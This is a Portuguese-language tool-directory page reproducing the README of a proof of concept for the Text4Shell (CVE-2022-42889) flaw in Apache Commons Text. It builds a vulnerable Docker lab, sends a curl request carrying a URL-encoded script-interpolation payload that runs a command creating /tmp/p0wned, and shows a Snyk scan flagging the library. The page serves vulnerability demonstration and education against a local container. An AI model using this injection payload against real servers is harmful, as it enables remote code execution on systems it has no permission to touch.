Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889 (também conhecido como Text4Shell) Prova de Conceito de RCE | Kitploit
Ferramentas/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
Segurança de ContêineresGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e Educação
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889 (também conhecido como Text4Shell) Prova de Conceito de RCE

Ver Repositório
213há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42889 (também conhecido como Text4Shell) Prova de Conceito de RCE

image

Text4Shell é o nome popular de uma vulnerabilidade crítica de software descoberta na biblioteca Apache Commons Text (veja CVE-2022-42889).

Este repositório tem como objetivo demonstrar uma Execução Remota de Código (RCE) que explora esta CVE.

O código vulnerável está sendo usado em um controller SpringBoot, mas não se confunda, isso NÃO É um problema de segurança SpringBoot/Spring.

Antes de testar a RCE, construa a imagem Docker:

root@kitploit:~
$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

Em seguida, execute o container:

root@kitploit:~
$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

Por fim, você pode tentar explorar a aplicação vulnerável com uma URL especialmente elaborada:

root@kitploit:~
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

Se você encontrar um arquivo chamado p0wned no diretório /tmp do container, a RCE foi executada com sucesso.

root@kitploit:~
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

Ao escanear a imagem usando Snyk, a biblioteca vulnerável é detectada:

root@kitploit:~
$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
Baixar ferramenta